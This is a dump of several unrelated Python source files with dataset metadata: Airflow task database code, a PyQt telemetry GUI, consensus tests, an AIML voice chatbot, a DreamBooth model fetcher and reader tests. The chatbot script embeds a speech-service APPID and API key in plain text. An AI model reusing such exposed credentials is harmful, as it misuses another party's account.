%s\"\"\"\n value_id = (idTask,)\n data = conn.Select_item(selectidDag, value_id)\n return data\n\n def get_Upstream(self, id_dag):\n conn = Connect()\n list_taskname =[]\n selectTaskname = \"\"\"select name from task where dag_id = %s\"\"\"\n value_id = (id_dag,)\n data = conn.SelectAll_item(selectTaskname, value_id)\n \n for name in data:\n list_taskname.append(name[0])\n return list_taskname\n\n def remove_common(self, a, b, name):\n for i in a[:]:\n if i in b:\n a.remove(i)\n # b.remove(i)\n a.remove(name)\n return a\n \n def ListparamTask(self, taskid):\n conn = Connect()\n lst = []\n quey = \"\"\"select id, name, task_type, priority_weight, pool, upstreams, filepath, flag, recursive, min_size, ignore_failed, command_template from task where dag_id = %s\"\"\"\n para = (taskid,)\n Alltask = conn.SelectAll_item(quey, para)\n \n for argument in Alltask:\n lst.append(argument)\n return lst\n\n def listparamOption(self):\n conn = Connect()\n lst = []\n quey = \"\"\"select task_id, number_of_days, interval, date from option \"\"\"\n Alltask = conn.SelectAll_item(quey)\n\n for argument in Alltask:\n lst.append(argument)\n return lst\n\n def listparamCommand(self):\n conn = Connect()\n lst = []\n quey = \"\"\"select option_id, date, previous_date, dataset from command \"\"\"\n Alltask = conn.SelectAll_item(quey)\n for argument in Alltask:\n lst.append(argument)\n return lst\n \n def handle_option (self, lst_option, taskid):\n keys_op = ['number_of_days', 'interval', 'date']\n for item in lst_option:\n lst_2 = list(item)\n for i in lst_2:\n if i == taskid:\n lst_2.pop(0)\n my_dictionary = dict(zip(keys_op, lst_2))\n return my_dictionary\n\n def handle_command(self, lst_command, optionid, taskid):\n op = Option()\n type = op.getType(taskid)\n keys_command = ['date', 'previous_date', 'dataset']\n for item in lst_command:\n lst_2 = list(item)\n n = len(lst_2)\n for i in range(0,n):\n if lst_2[i] == optionid and type == \"bash\":\n lst_2.pop(0)\n my_dictionary = dict(zip(keys_command, lst_2))\n return my_dictionary\n elif lst_2[i] == optionid and type == \"bash-sensor\":\n lst_2.pop(0)\n keys_command = ['date']\n my_dictionary = dict(zip(keys_command, lst_2))\n return my_dictionary\n\n def handle(self, lst_task, lst_option, lst_command):\n conn = Connect()\n lst_total = []\n keys = ['name', 'task_type', 'priority_weight', 'pool', 'upstreams','filepath', 'flag', 'recursive', 'min_size', 'ignore_failed', 'command_template','options']\n \n for item in lst_task:\n lst_2 = list(item)\n option = self.handle_option(lst_option, item[0])\n\n query_optionid = \"select id from option where task_id = %s\"\n value_id = (item[0],)\n id_option = conn.Select_item(query_optionid,value_id)\n \n command = self.handle_command(lst_command, id_option, item[0])\n\n if command:\n option['command_params'] = command\n option.pop(\"date\",None)\n option = {k: v for k, v in option.items() if v is not None}\n else :\n option = {k: v for k, v in option.items() if v is not None}\n option = {k: v for k, v in option.items() if v != \"\"}\n\n lst_2.pop(0)\n lst_2.append(option)\n my_dictionary = dict(zip(keys, lst_2))\n\n my_dictionary = {k: v for k, v in my_dictionary.items() if v != \"\"}\n my_dictionary = {k: v for k, v in my_dictionary.items() if v is not None}\n lst_total.append(my_dictionary)\n return lst_total\n\n def parse_json(self, id_dag):\n conn = Connect()\n\n query_dagid = \"\"\"select name from ScheduleDag where id = %s\"\"\"\n value_name = (id_dag,)\n dag_name = conn.Select_item(query_dagid, value_name)\n dag = Dag()\n lst_task = self.ListparamTask(id_dag)\n lst_option = self.listparamOption()\n lst_command = self.listparamCommand()\n res = self.handle(lst_task, lst_option, lst_command)\n\n filename = dag.getFileName(dag_name)\n dict_res = {\"tasks\":res}\n filename = \"dags/json/{name}\".format(name = filename)\n with open(filename, 'w') as convert_file:\n convert_file.write(json.dumps(dict_res))\n\n def deleteTask(self, id):\n #Delete command\n #Get optionid\n conn = Connect()\n\n selectoptionId = \"\"\"select id from option where task_id = %s\"\"\"\n value_id = (id,)\n optionId = conn.Select_item(selectoptionId, value_id)\n # print(optionId)\n\n delete_command = \"\"\"DELETE FROM command WHERE option_id = %s\"\"\"\n id_op = (optionId,)\n conn.Insert_item(delete_command, id_op)\n #Delete option\n delete_option = \"\"\"DELETE FROM option WHERE task_id = %s\"\"\"\n id_task_op = (id,)\n conn.Insert_item(delete_option, id_task_op)\n #Delete task\n delete_task = \"\"\"DELETE FROM task WHERE id = %s\"\"\"\n id_task = (id,)\n conn.Insert_item(delete_task, id_task)\n\n \n\n ","repo_name":"NguyenTrieu903/Airflow","sub_path":"plugins/DAG/task.py","file_name":"task.py","file_ext":"py","file_size_in_byte":11354,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"42029386864","text":"#!/usr/bin/python3\nimport sys\nimport logging\nfrom datetime import datetime\nfrom PyQt5 import QtCore, QtGui, QtWidgets, uic\nfrom PyQt5.QtWidgets import QTableWidgetItem\n\nfrom uart import *\nfrom comm import *\n\nLOG_SEVERITY = ['NONE', 'ERROR', 'WARNING', 'INFO', 'DEBUG']\nLOG_SOURCE = ['SYSTEM', 'DRIVER', 'MODULE', 'COMM', 'APP']\nLOG_MODULE = ['ECU', 'HMI', 'PSU', 'SDU', 'RF2USB']\nRACE_MODE = ['Arcade', 'Acceleration', 'Long Distance', 'DEBUG']\nVALVE_STATE = ['Closed', 'In', 'Out']\n# amount of lines to be kept in log window\nLOG_KEEP = 1000\n\n# Invocation of methods in main thread\nclass InvokeEvent(QtCore.QEvent):\n EVENT_TYPE = QtCore.QEvent.Type(QtCore.QEvent.registerEventType())\n\n def __init__(self, fn, *args, **kwargs):\n QtCore.QEvent.__init__(self, InvokeEvent.EVENT_TYPE)\n self.fn = fn\n self.args = args\n self.kwargs = kwargs\n\nclass Invoker(QtCore.QObject):\n def event(self, event):\n event.fn(*event.args, **event.kwargs)\n\n return True\n\n_invoker = Invoker()\n\ndef invoke_in_main_thread(fn, *args, **kwargs):\n QtCore.QCoreApplication.postEvent(_invoker, InvokeEvent(fn, *args, **kwargs))\n\n\nclass MainWindow(QtWidgets.QMainWindow):\n def __init__(self):\n super(MainWindow,self).__init__()\n uic.loadUi('frontend.ui', self)\n self.con = Uart()\n self.initHandlers();\n self.log = logging.getLogger()\n\n # setup logging module\n handler = logging.StreamHandler()\n formatter = logging.Formatter(\n '%(asctime)s %(levelname)s %(message)s')\n handler.setFormatter(formatter)\n self.log.addHandler(handler)\n self.log.setLevel(logging.DEBUG)\n\n def initHandlers(self):\n # connect UI actions to internal functions\n self.btConnect.clicked.connect(self.doUartConnect)\n self.btDisconnect.clicked.connect(self.doUartDisconnect)\n\n def doUartConnect(self):\n if self.con.connect(self.leDevice.text(), self.leBaudrate.text()) == False:\n return\n\n self.leDevice.setEnabled(False)\n self.leBaudrate.setEnabled(False)\n self.btConnect.setEnabled(False)\n self.btDisconnect.setEnabled(True)\n\n #connect all required processing signals\n self.con.subscribe(LogMessage.CMD_ID, self.addLog)\n self.con.subscribe(Telemetry.CMD_ID, self.updateTelemetry)\n\n def doUartDisconnect(self):\n self.con.disconnect()\n self.leDevice.setEnabled(True)\n self.leBaudrate.setEnabled(True)\n self.btConnect.setEnabled(True)\n self.btDisconnect.setEnabled(False)\n\n def addLog(self, msg):\n if not isinstance(threading.current_thread(), threading._MainThread):\n invoke_in_main_thread(self.updateTelemetry, msg)\n\n pos = self.tbSystemLog.rowCount()\n if pos > LOG_KEEP:\n self.tbSystemLog.removeRow(0)\n pos -= 1\n self.tbSystemLog.insertRow(pos)\n\n dt = datetime.now()\n self.tbSystemLog.setItem(pos, 0, QTableWidgetItem(('%02d:%02d:%2d.%3d') %\n (dt.hour, dt.minute, dt.second, dt.microsecond)))\n\n self.tbSystemLog.setItem(pos, 1, QTableWidgetItem(LOG_MODULE[msg.module]))\n self.tbSystemLog.setItem(pos, 2, QTableWidgetItem(LOG_SEVERITY[msg.severity]))\n self.tbSystemLog.setItem(pos, 3, QTableWidgetItem(LOG_SOURCE[msg.source]))\n self.tbSystemLog.setItem(pos, 4, QTableWidgetItem(msg.msg))\n\n def updateTelemetry(self, msg):\n if not isinstance(threading.current_thread(), threading._MainThread):\n invoke_in_main_thread(self.updateTelemetry, msg)\n\n self.lbSpeed.setText(\"%3.1f\" % (msg.speed_kmh))\n self.lbDistance.setText(\"%5d\" % (msg.distance_m))\n self.lbRaceTime.setText(\"%02d:%02d\" % (msg.time_m, msg.time_s))\n self.lbSpeedAvg.setText(\"%3.1f\" % (msg.speed_avg_kmh))\n self.lbSpeedTop.setText(\"%3.1f\" % (msg.speed_max_kmh))\n self.lbMode.setText(RACE_MODE[msg.race_mode])\n self.lbCurFilling.setText(\"%3d %%\" % (msg.filling_pct))\n self.lbCurDeadtime.setText(\"%4d ms\" % (msg.deadtime_ms))\n self.lbBatVoltage.setText(\"%5d\" % (msg.bat_mv))\n self.lbBatCurrent.setText(\"%4d\" % (msg.bat_ma))\n\n self.pbPressure1.setValue(msg.press1_kpa)\n self.pbPressure2.setValue(msg.press2_kpa)\n self.pbPressure3.setValue(msg.press3_kpa)\n\n self.lbThrottle.setEnabled(msg.throttle)\n self.lbBrake.setEnabled(msg.brake)\n\n self.lbValveBack1.setText(VALVE_STATE[msg.valve_b1])\n self.lbValveBack2.setText(VALVE_STATE[msg.valve_b2])\n self.lbValveFront1.setText(VALVE_STATE[msg.valve_f1])\n self.lbValveFront2.setText(VALVE_STATE[msg.valve_f2])\n self.pbPistonPosition.setValue(msg.piston_pct)\n\nif __name__ == '__main__':\n app = QtWidgets.QApplication(sys.argv)\n window = MainWindow()\n window.lbSpeed.setProperty(\"value\", 172.2)\n window.show()\n\n sys.exit(app.exec_())\n","repo_name":"kajusK/Pneumobil","sub_path":"sw/telemetry/gui.py","file_name":"gui.py","file_ext":"py","file_size_in_byte":4945,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"11776971677","text":"import pandas\n\nfile = pandas.read_csv(\"nato_phonetic_alphabet.csv\")\n\nnato_dict = {row.letter:row.code for (index, row) in file.iterrows()}\n\nuser_input = (input(\"Enter a word to have it converted to nato phonetic alphabet: \")).upper()\n\nnato_converted = [nato_dict[letter] for letter in user_input]\nprint(nato_converted)\n","repo_name":"falvey20/100-Days-Python","sub_path":"026 - Nato Phonetics/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":319,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"44"} +{"seq_id":"3275979286","text":"import string\n\nimport pytest\n\nfrom plenum.common.event_bus import InternalBus\nfrom plenum.common.messages.node_messages import ViewChange, ViewChangeAck, NewView\nfrom plenum.server.consensus.view_change_service import ViewChangeService\nfrom plenum.test.helper import MockNetwork\n\n\n@pytest.fixture\ndef view_change_service(consensus_data, mock_timer):\n def _service(name):\n data = consensus_data(name)\n service = ViewChangeService(data, mock_timer, InternalBus(), MockNetwork())\n return service\n return _service\n\n\n@pytest.fixture\ndef view_change_message():\n def _view_change(view_no: int):\n vc = ViewChange(\n viewNo=view_no,\n stableCheckpoint=4,\n prepared=[],\n preprepared=[],\n checkpoints=[]\n )\n return vc\n return _view_change\n\n\n@pytest.fixture\ndef view_change_acks(validators, random):\n def _view_change_acks(vc, vc_frm, primary, count):\n digest = ViewChangeService._view_change_digest(vc)\n non_senders = [name for name in validators if name not in [vc_frm, primary]]\n ack_frms = random.sample(non_senders, count)\n return [(ViewChangeAck(viewNo=vc.viewNo, name=vc_frm, digest=digest), ack_frm) for ack_frm in ack_frms]\n return _view_change_acks\n\n\ndef test_view_change_primary_selection(validators, initial_view_no):\n primary = ViewChangeService._find_primary(validators, initial_view_no)\n prev_primary = ViewChangeService._find_primary(validators, initial_view_no - 1)\n next_primary = ViewChangeService._find_primary(validators, initial_view_no + 1)\n\n assert primary in validators\n assert prev_primary in validators\n assert next_primary in validators\n\n assert primary != prev_primary\n assert primary != next_primary\n\n\ndef test_start_view_change_increases_next_view_changes_primary_and_broadcasts_view_change_message(\n some_item, validators, view_change_service, initial_view_no):\n service = view_change_service(some_item(validators))\n old_primary = service._data.primary_name\n\n service.start_view_change()\n\n assert service._data.view_no == initial_view_no + 1\n assert service._data.waiting_for_new_view\n assert service._data.primary_name != old_primary\n\n assert len(service._network.sent_messages) == 1\n\n msg, dst = service._network.sent_messages[0]\n assert dst is None # message was broadcast\n assert isinstance(msg, ViewChange)\n assert msg.viewNo == initial_view_no + 1\n assert msg.stableCheckpoint == service._data.stable_checkpoint\n\n\ndef test_non_primary_responds_to_view_change_message_with_view_change_ack_to_new_primary(\n some_item, other_item, validators, primary, view_change_service, initial_view_no, view_change_message):\n non_primary_name = some_item(validators, exclude=[primary(initial_view_no + 1)])\n service = view_change_service(non_primary_name)\n\n vc = view_change_message(initial_view_no + 1)\n frm = other_item(validators, exclude=[non_primary_name])\n service._network.process_incoming(vc, frm)\n\n assert len(service._network.sent_messages) == 1\n msg, dst = service._network.sent_messages[0]\n assert dst == service._data.primary_name\n assert isinstance(msg, ViewChangeAck)\n assert msg.viewNo == vc.viewNo\n assert msg.name == frm\n assert msg.digest == ViewChangeService._view_change_digest(vc)\n\n\ndef test_primary_doesnt_respond_to_view_change_message(\n some_item, validators, primary, view_change_service, initial_view_no, view_change_message):\n name = primary(initial_view_no + 1)\n service = view_change_service(name)\n\n vc = view_change_message(initial_view_no + 1)\n frm = some_item(validators, exclude=[name])\n service._network.process_incoming(vc, frm)\n\n assert len(service._network.sent_messages) == 0\n\n\n@pytest.mark.skip(reason=\"Not implemented\")\ndef test_new_view_message_is_sent_once_when_view_change_certificate_is_reached(\n validators, primary, view_change_service, initial_view_no, view_change_message, view_change_acks):\n primary_name = primary(initial_view_no + 1)\n service = view_change_service(primary_name)\n service.start_view_change()\n\n non_primaries = [item for item in validators if item != primary_name]\n for vc_frm in non_primaries:\n vc = view_change_message(initial_view_no + 1)\n service._network.process_incoming(vc, vc_frm)\n\n for ack, ack_frm in view_change_acks(vc, vc_frm, primary_name, len(validators) - 2):\n service._network.process_incoming(ack, ack_frm)\n\n assert len(service._network.sent_messages) == 1\n msg, dst = service._network.sent_messages[0]\n assert dst is None # message was broadcast\n assert isinstance(msg, NewView)\n assert msg.viewNo == initial_view_no + 1\n\n\ndef test_view_change_digest_is_256_bit_hexdigest(view_change_message, random):\n vc = view_change_message(random.integer(0, 10000))\n digest = ViewChangeService._view_change_digest(vc)\n assert isinstance(digest, str)\n assert len(digest) == 64\n assert all(v in string.hexdigits for v in digest)\n\n\ndef test_different_view_change_messages_have_different_digests(view_change_message, random):\n vc = view_change_message(random.integer(0, 10000))\n other_vc = view_change_message(random.integer(0, 10000))\n assert ViewChangeService._view_change_digest(vc) != ViewChangeService._view_change_digest(other_vc)\n","repo_name":"cakesoft-faisal/indy-plenum","sub_path":"plenum/test/consensus/test_view_change_service.py","file_name":"test_view_change_service.py","file_ext":"py","file_size_in_byte":5388,"program_lang":"python","lang":"en","doc_type":"code","dataset":"github-code","pt":"18"} +{"seq_id":"28527463888","text":"# -*- coding: utf-8 -*-\r\nimport aiml\r\nimport os\r\nimport record\r\nimport speach_recognize\r\n\r\n\r\nmybot_path = '../lab1/mybot/'\r\n# 切换到语料库所在工作目录\r\nos.chdir(mybot_path)\r\n\r\nmybot = aiml.Kernel()#创建一个aiml对象\r\n\r\nmybot.learn(\"std-startup.xml\")\r\n#创建一个名为std-startup.xml的启动文件，作为加载AIML文件的主入口点。\r\nmybot.respond('load aiml c')\r\n#在std-srartup.xml文件里面可以创建更多的匹配模式以及加入更多的语料库。\r\n\r\n#用语音输入代替文字输入\r\nmyrecorder = record.recorder(record_seconds=5) # 录音对象，设定持续大约5秒\r\nsr = speach_recognize.speachRecognizer(accountList = [{'APPID':'5cad4c88','API_KEY':'55dba8b5606fac7572450e79a2f03bcc'}]) # 输入科大讯飞统一平台的APPID 和 对应语音识别的API_KEY\r\n\r\nprint(\"小爱: 可以和我聊聊吗？\")\r\nwhile True:\r\n print(input(\"请说出您的问题？输入回车键开始录音~\\n\"))\r\n myrecorder.save_record() # 开始录音\r\n sr.setAudiFile('audio.wav') # 生成audio.wav录音文件\r\n question = sr.getResponse() # 调用科大讯飞的API 识别audio.wav录音，转译成对应的文字\r\n print(\"你说的是：\"+question)\r\n response = mybot.respond(question[:-1]) # 聊天机器人进行回答\r\n print(\"小爱: \", response) # 输出回答的问题","repo_name":"mengning/ai","sub_path":"lab2/aimlbot.py","file_name":"aimlbot.py","file_ext":"py","file_size_in_byte":1361,"program_lang":"python","lang":"zh","doc_type":"code","stars":2,"dataset":"github-code","pt":"18"} +{"seq_id":"41427033233","text":"import numpy as np\n\nclass MarkerMeasurement:\n # Measurements are of landmarks in 2D and have a position as well as tag id.\n def __init__(self, position, tag, covariance = (0.1*np.eye(2))):\n self.position = position\n self.tag = tag\n #self.covariance=covariance\n self.covariance = self.covariance_matrix_calculation(position)\n\n def covariance_matrix_calculation(self, lm_bff2d, sigma_u=0.05, sigma_rho_param = 0.2):\n \"\"\" New method to initialise the covariance. Turning the x,y representation from aruco into a\n (polar) estimate of d,phi, assumed independent. Estimate sigma_rho by depth of marker\n Put this into aruco_detector.py and call in lm_measurements for the parameter covariance\n \"\"\"\n # new covariance initialisation\n dist_est = np.sqrt(lm_bff2d[0]**2 + lm_bff2d[1]**2)\n u = np.divide(lm_bff2d,dist_est)\n u_mat = u @ u.T\n\n # rho = 1 /(dist_est) # we never actually need rho\n cov_u = (sigma_u**2) * (np.eye(2) - u_mat)\n cov_rho = sigma_rho_param*(dist_est**2) * u_mat\n cov_full = cov_u + cov_rho\n return cov_full\n\nclass DriveMeasurement:\n # Measurement of the robot wheel velocities\n def __init__(self, left_speed, right_speed, dt, left_cov = 5, right_cov = 5):\n self.left_speed = left_speed\n self.right_speed = right_speed\n self.dt = dt\n self.left_cov = left_cov\n self.right_cov = right_cov\n","repo_name":"bennydai/rvss_fork","sub_path":"slam/Measurements.py","file_name":"Measurements.py","file_ext":"py","file_size_in_byte":1481,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"18"} +{"seq_id":"20558091415","text":"'''\nRunPod | DreamBooth | Custom Model Fetcher\n'''\n\nimport os\nimport wget\nimport subprocess\nfrom subprocess import call, check_output\n\n\ndef downloadmodel_hf(Path_to_HuggingFace, huggingface_token=None):\n '''\n Download model from HuggingFace.\n '''\n if huggingface_token:\n auth = f'https://USER:{huggingface_token}@'\n else:\n auth = \"https://\"\n\n custom_path = '/src/stable-diffusion-custom'\n os.makedirs(custom_path, exist_ok=True)\n\n print(f\"Current working directory: {os.getcwd()}\")\n\n os.chdir(custom_path)\n commands = [\n \"git init\",\n \"git lfs install --system --skip-repo\",\n f'git remote add -f origin {auth}huggingface.co/{Path_to_HuggingFace}',\n \"git config core.sparsecheckout true\",\n 'echo -e \"\\nscheduler\\ntext_encoder\\ntokenizer\\nunet\\nvae\\nmodel_index.json\\n!*.safetensors\" > .git/info/sparse-checkout',\n \"git pull origin main\"\n ]\n\n for command in commands:\n result = subprocess.run(command, shell=True, stderr=subprocess.PIPE, check=False)\n if result.returncode != 0:\n raise RuntimeError(\n f\"Error executing command: {command}\\nError message: {result.stderr.decode('utf-8')}\")\n\n print(\"Successfully downloaded model from HuggingFace.\")\n\n if os.path.exists('unet/diffusion_pytorch_model.bin'):\n call(\"rm -r .git\", shell=True)\n call(\"rm model_index.json\", shell=True)\n wget.download(\n 'https://raw.githubusercontent.com/TheLastBen/fast-stable-diffusion/main/Dreambooth/model_index.json')\n os.chdir('/src')\n\n while not os.path.exists('/src/stable-diffusion-custom/unet/diffusion_pytorch_model.bin'):\n os.chdir('/src')\n\n print(\"Downloaded model is compatible with DreamBooth.\")\n\n\ndef downloadmodel_lnk(ckpt_link):\n '''\n Download a model from a ckpt link.\n '''\n result = subprocess.run(\n f\"gdown --fuzzy -O model.ckpt {ckpt_link}\",\n shell=True, stderr=subprocess.PIPE, check=False\n )\n if result.returncode != 0:\n raise RuntimeError(\n f\"Error downloading model from link: {ckpt_link}\\nError message: {result.stderr.decode('utf-8')}\")\n\n if os.path.exists('model.ckpt') and os.path.getsize(\"model.ckpt\") > 1810671599:\n # wget.download('https://github.com/TheLastBen/fast-stable-diffusion/raw/main/Dreambooth/det.py')\n # custom_model_version = check_output(\n # 'python det.py --MODEL_PATH /src/model.ckpt', shell=True).decode('utf-8').replace('\\n', '')\n\n # if custom_model_version == 'v1.5':\n wget.download(\n 'https://github.com/CompVis/stable-diffusion/raw/main/configs/stable-diffusion/v1-inference.yaml', 'config.yaml')\n subprocess.run(\n 'python /src/diffusers/scripts/convert_original_stable_diffusion_to_diffusers.py --checkpoint_path /src/model.ckpt --dump_path /src/stable-diffusion-custom --original_config_file config.yaml',\n shell=True, check=True)\n\n # refmdlz_file = 'refmdlz'\n # wget.download(\n # f'https://github.com/TheLastBen/fast-stable-diffusion/raw/main/Dreambooth/{refmdlz_file}')\n\n # if not os.path.exists(refmdlz_file):\n # raise RuntimeError(f\"Error downloading {refmdlz_file}\")\n\n # subprocess.run(f'unzip -o -q {refmdlz_file}', shell=True, check=True)\n # subprocess.run(f'rm -f {refmdlz_file}', shell=True, check=True)\n\n # wget.download(\n # 'https://raw.githubusercontent.com/TheLastBen/fast-stable-diffusion/main/Dreambooth/convertodiffv1.py')\n\n # # result = subprocess.run(\n # # 'python convertodiffv1.py model.ckpt /src/stable-diffusion-custom --v1',\n # # shell=True, stderr=subprocess.PIPE, check=False\n # # )\n # result = subprocess.run(\n # '/src/diffusers/scripts/convert_original_stable_diffusion_to_diffusers.py - -checkpoint_path /src/model.ckpt - -dump_path /src/stable-diffusion-custom - -original_config_file config.yaml ',\n # shell=True, stderr=subprocess.PIPE, check=False)\n\n # if result.returncode != 0:\n # raise RuntimeError(\n # f\"Error executing convert_original_stable_diffusion_to_diffusers.py\\nError message: {result.stderr.decode('utf-8')}\")\n\n # subprocess.run('rm convertodiffv1.py', shell=True, check=True)\n # subprocess.run('rm -r refmdl', shell=True, check=True)\n\n\ndef selected_model(path_to_huggingface=None, ckpt_link=None, huggingface_token=None):\n '''\n Either download a model from HuggingFace or from a ckpt link.\n Or use the original V1.5 model.\n '''\n model_name = \"/src/stable-diffusion-v1-5\"\n os.makedirs(\"/src/stable-diffusion-custom\", exist_ok=True)\n\n if path_to_huggingface:\n downloadmodel_hf(path_to_huggingface, huggingface_token)\n model_name = \"/src/stable-diffusion-custom\"\n elif ckpt_link:\n downloadmodel_lnk(ckpt_link)\n model_name = \"/src/stable-diffusion-custom\"\n\n # Modify the config.json file\n result = subprocess.run(\n f\"sed -i 's@\\\"sample_size\\\": 256,@\\\"sample_size\\\": 512,@g' {model_name}/vae/config.json\",\n shell=True, stderr=subprocess.PIPE, check=False\n )\n\n if result.returncode != 0:\n raise RuntimeError(\n f\"Error modifying config.json\\nError message: {result.stderr.decode('utf-8')}\")\n\n return model_name\n","repo_name":"runpod/serverless-workers","sub_path":"workers/DreamBooth-v1/docker_example/rp_custom_model.py","file_name":"rp_custom_model.py","file_ext":"py","file_size_in_byte":5386,"program_lang":"python","lang":"en","doc_type":"code","stars":47,"dataset":"github-code","pt":"18"} +{"seq_id":"16199801660","text":"# Author: Melanie Huynh\n# Date: 5/6/2020\n# Description: This program takes a list of numbers and returns the median of those numbers. \n\ndef find_median(list):\n\t\"\"\"Returns the median of a list of numbers\"\"\"\n\tlist.sort() # Sorts the lists from low to high\n\tlength = len(list) # Gets length of the list\n\t\n\tif length % 2 != 0: # Checks if the total list is odd to apply correct mathematical equation\n\t\treturn list[length//2]\n\telse: # Otherwise, even lists get applied correct mathematical equation\n\t\tnum1 = list[length//2]\n\t\tnum2 = list[length//2 -1]\n\t\treturn (num1 + num2) / 2\n\n\t\n","repo_name":"huynmela/CS161","sub_path":"Project 6/6a/find_median.py","file_name":"find_median.py","file_ext":"py","file_size_in_byte":577,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"18"} +{"seq_id":"2904291053","text":"#!/usr/bin/env python3.5\n\"\"\"Unit tests for readers\"\"\"\n\nimport unittest\nimport tempfile\nimport numpy as np\n\nfrom neuralmonkey.readers.string_vector_reader import get_string_vector_reader\nfrom neuralmonkey.readers.plain_text_reader import T2TReader\n\nSTRING_INTS = \"\"\"\n1 2 3\n4 5 6\n7 8 9 10\n\n\"\"\"\n\nLIST_INTS = [np.array(row.strip().split(), dtype=np.int32)\n for row in STRING_INTS.strip().split(\"\\n\")]\n\nSTRING_FLOATS = \"\"\"\n1 2 3.5\n 4 -5.0e10 6\n7 8 9.2e-12 10.1123213213214123141234123112312312\n\"\"\"\n\nLIST_FLOATS = [np.array(row.strip().split(), dtype=np.float32)\n for row in STRING_FLOATS.strip().split(\"\\n\")]\n\nSTRING_INTS_FINE = \"\"\"\n1 2 3\n4 5 6\n7 8 9\n\"\"\"\n\nLIST_INTS_FINE = [np.array(row.strip().split(), dtype=np.int32)\n for row in STRING_INTS_FINE.strip().split(\"\\n\")]\n\n\ndef _make_file(from_var):\n tmpfile = tempfile.NamedTemporaryFile(mode=\"w+\")\n tmpfile.write(from_var)\n tmpfile.seek(0)\n return tmpfile\n\n\nclass TestStringVectorReader(unittest.TestCase):\n\n def setUp(self):\n self.tmpfile_floats = _make_file(STRING_FLOATS)\n self.tmpfile_ints = _make_file(STRING_INTS)\n self.tmpfile_ints_fine = _make_file(STRING_INTS_FINE)\n\n def test_reader(self):\n r = get_string_vector_reader(np.float32)\n floats = list(r([self.tmpfile_floats.name]))\n equals = [np.array_equal(f, g) for f, g in zip(floats, LIST_FLOATS)]\n\n for comp in equals:\n self.assertTrue(comp)\n\n r = get_string_vector_reader(np.int32)\n ints = list(r([self.tmpfile_ints.name, self.tmpfile_ints_fine.name]))\n equals = [np.array_equal(f, g)\n for f, g in zip(ints, LIST_INTS + LIST_INTS_FINE)]\n\n for comp in equals:\n self.assertTrue(comp)\n\n def test_columns(self):\n for cols in range(2, 4):\n with self.assertRaisesRegex(ValueError, \"Wrong number of columns\"):\n r = get_string_vector_reader(np.int32, columns=cols)\n list(r([self.tmpfile_ints.name]))\n\n with self.assertRaisesRegex(ValueError, \"Wrong number of columns\"):\n r = get_string_vector_reader(np.float32, columns=cols)\n list(r([self.tmpfile_floats.name]))\n\n if cols != 3:\n with self.assertRaisesRegex(ValueError,\n \"Wrong number of columns\"):\n r = get_string_vector_reader(np.int32, columns=cols)\n list(r([self.tmpfile_ints_fine.name]))\n\n r = get_string_vector_reader(np.int32, columns=3)\n ints = list(r([self.tmpfile_ints_fine.name]))\n equals = [np.array_equal(f, g)\n for f, g in zip(ints, LIST_INTS_FINE)]\n\n for comp in equals:\n self.assertTrue(comp)\n\n def tearDown(self):\n self.tmpfile_ints.close()\n self.tmpfile_floats.close()\n self.tmpfile_ints_fine.close()\n\n\nclass TestT2TReader(unittest.TestCase):\n\n def setUp(self):\n self.reader = T2TReader\n\n def test_reader(self):\n text = \"Ich bin der čermák -=- - !!! alfonso \"\n gold_tokens = [\"Ich\", \"bin\", \" \", \"der\", \"čermák\", \" -=- - !!! \",\n \"alfonso\"]\n\n tmpfile = _make_file(text)\n\n read = []\n for line in self.reader([tmpfile.name]):\n read.append(line)\n\n tmpfile.close()\n\n self.assertEqual(len(read), 1)\n self.assertSequenceEqual(read[0], gold_tokens)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"ufal/neuralmonkey","sub_path":"neuralmonkey/tests/test_readers.py","file_name":"test_readers.py","file_ext":"py","file_size_in_byte":3539,"program_lang":"python","lang":"en","doc_type":"code","stars":411,"dataset":"github-code","pt":"18"} +{"seq_id":"23936548494","text":"import pandas as pd\nimport numpy as np\nimport os\nimport matplotlib as mpl\nimport matplotlib.pyplot as plt\nimport geopandas as gpd\nimport missingno as msn\nfrom shapely.geometry import Point, Polygon\n\n#Preparation for plotting data over europe\nfig, axes = plt.subplots(nrows=1, ncols=2, figsize=(30,20))\nworld = gpd.read_file(gpd.datasets.get_path(\"naturalearth_lowres\"))\neurope=world[world.continent=='Europe']\n#Remove Russia and Iceland from map of Europe\neurope=europe[(europe.name!='Russia') & (europe.name!='Iceland')]\n# Create a custom polygon\npolygon = Polygon([(-25,35), (40,35), (40,75),(-25,75)])\n#Clip polygon from the map of Europe\neurope=gpd.clip(europe, polygon)\neurope.plot(color='#3B3C6E', ax=axes[0], alpha=0.8)\neurope.plot(color='#3B3C6E', ax=axes[1], alpha=0.8)\n# europe.plot(color='#3B3C6E', ax=axes[1,0], alpha=0.8)\n# europe.plot(color='#3B3C6E', ax=axes[1,1], alpha=0.8)\ncmap = mpl.colors.LinearSegmentedColormap.from_list(\"\", [\"green\",\"yellow\",\"red\"])\n\n#change values to actual timestamps\ndate_range = pd.date_range(start ='1-1-2020', end ='12-31-2020', freq ='24H')\ndate_list = [str(d.date()) for d in date_range]\nday_list = []\nfor i in range(1, 367):\n day_list.append(str(i))\n\nfor file in sorted(os.listdir('C:/Users/BIE/Desktop/Python/MLA/MLA_2122/data')):\n data = pd.read_csv('data/'+file, usecols = ['latitude',\n \t 'longitude',\n 'timestamp_transfer',\n 'timestamp_measure_position',\n 'signal_quality_satellite',\n 'signal_quality_hdop',\n 'determination_position',\n 'provider'\n ], low_memory = True)\n\n data = pd.DataFrame.dropna(data) #deleting rows which contain NAN values\n #data['timestamp_transfer'] = data['timestamp_transfer'].str[:16] #removing unwanted characters\n #data['timestamp_measure_position'] = data['timestamp_measure_position'].str[:16] #removing unwanted characters\n\n\n\n\n #for timestamp_transfer\n timestamp_transfer_date = data['timestamp_transfer'].str.split(' ').str[0] #Just the Days of the Timestamp\n timestamp_transfer_date = timestamp_transfer_date.replace(to_replace=day_list, value=date_list) #change Days to actual date e.g. 42 days -> 2020-02-11\n timestamp_transfer_hours = data['timestamp_transfer'].str.split(' ').str[2] #Just the Time of the Timestamp\n timestamp_transfer_hours = 